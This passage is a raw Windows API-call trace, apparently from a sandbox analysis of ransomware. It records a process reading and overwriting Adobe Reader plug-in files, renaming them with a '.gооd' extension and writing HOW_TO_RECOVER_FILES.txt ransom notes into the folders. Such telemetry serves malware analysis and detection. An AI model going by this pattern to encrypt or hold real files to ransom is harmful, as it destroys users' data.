lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.963] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb416, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0103.963] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1 [0103.963] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.964] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0103.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0103.964] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", lpFilePart=0x0) returned 0x54 [0103.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0103.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc"), fInfoLevelId=0x0, lpFileInformation=0x32ce678 | out: lpFileInformation=0x32ce678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb416)) returned 1 [0103.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0103.965] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", lpFilePart=0x0) returned 0x54 [0103.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0103.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0103.965] GetFileType (hFile=0x6e0) returned 0x1 [0103.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0103.965] GetFileType (hFile=0x6e0) returned 0x1 [0103.965] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0103.965] ReadFile (in: hFile=0x6e0, lpBuffer=0x32cead0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x32cead0*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0104.018] CloseHandle (hObject=0x6e0) returned 1 [0104.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", lpFilePart=0x0) returned 0x54 [0104.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0104.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.018] GetFileType (hFile=0x6e0) returned 0x1 [0104.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0104.018] GetFileType (hFile=0x6e0) returned 0x1 [0104.018] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0xb416 [0104.019] WriteFile (in: hFile=0x6e0, lpBuffer=0x3383158*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x3383158*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0104.059] CloseHandle (hObject=0x6e0) returned 1 [0104.059] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", lpFilePart=0x0) returned 0x54 [0104.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0104.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.060] GetFileType (hFile=0x6e0) returned 0x1 [0104.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0104.060] GetFileType (hFile=0x6e0) returned 0x1 [0104.060] ReadFile (in: hFile=0x6e0, lpBuffer=0x34186a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x34186a8*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0104.456] CloseHandle (hObject=0x6e0) returned 1 [0104.457] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", lpFilePart=0x0) returned 0x54 [0104.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0104.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.457] GetFileType (hFile=0x6e0) returned 0x1 [0104.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0104.457] GetFileType (hFile=0x6e0) returned 0x1 [0104.457] WriteFile (in: hFile=0x6e0, lpBuffer=0x34173e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x34173e0*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0104.457] CloseHandle (hObject=0x6e0) returned 1 [0104.457] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc", lpFilePart=0x0) returned 0x54 [0104.457] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc.gоod", lpFilePart=0x0) returned 0x59 [0104.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0104.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3a7995a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb426)) returned 1 [0104.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0104.458] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\adobepdf.xdc.gоod")) returned 1 [0104.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35adb0) returned 1 [0104.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP", nBufferLength=0x105, lpBuffer=0x1f35a850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP", lpFilePart=0x0) returned 0x4b [0104.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x1f35aad0 | out: lpFindFileData=0x1f35aad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0104.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMatrix.pmp", cAlternateFileName="DATAMA~1.PMP")) returned 1 [0104.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1 [0104.460] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.460] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acf0) returned 1 [0104.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acb0) returned 1 [0104.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35adb0) returned 1 [0104.460] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP", nBufferLength=0x105, lpBuffer=0x1f35a850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP", lpFilePart=0x0) returned 0x4b [0104.460] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x1f35aad0 | out: lpFindFileData=0x1f35aad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.460] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.460] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0104.461] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMatrix.pmp", cAlternateFileName="DATAMA~1.PMP")) returned 1 [0104.461] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1 [0104.461] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 0 [0104.461] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acf0) returned 1 [0104.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acb0) returned 1 [0104.461] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35a800, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x64 [0104.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35ad20) returned 1 [0104.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\pmp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0104.463] GetFileType (hFile=0x6e0) returned 0x1 [0104.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35ac90) returned 1 [0104.463] GetFileType (hFile=0x6e0) returned 0x1 [0104.464] WriteFile (in: hFile=0x6e0, lpBuffer=0x33af108*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35ade8, lpOverlapped=0x0 | out: lpBuffer=0x33af108*, lpNumberOfBytesWritten=0x1f35ade8*=0x5d0, lpOverlapped=0x0) returned 1 [0104.465] CloseHandle (hObject=0x6e0) returned 1 [0104.465] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0104.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0104.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0104.466] GetFileType (hFile=0x6e0) returned 0x1 [0104.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0104.466] GetFileType (hFile=0x6e0) returned 0x1 [0104.467] WriteFile (in: hFile=0x6e0, lpBuffer=0x33b29e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x33b29e0*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0104.467] CloseHandle (hObject=0x6e0) returned 1 [0104.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0104.468] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations", lpFilePart=0x0) returned 0x4a [0104.468] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.372] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.372] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0105.372] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0105.373] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0105.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0105.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0105.373] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations", lpFilePart=0x0) returned 0x4a [0105.373] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, 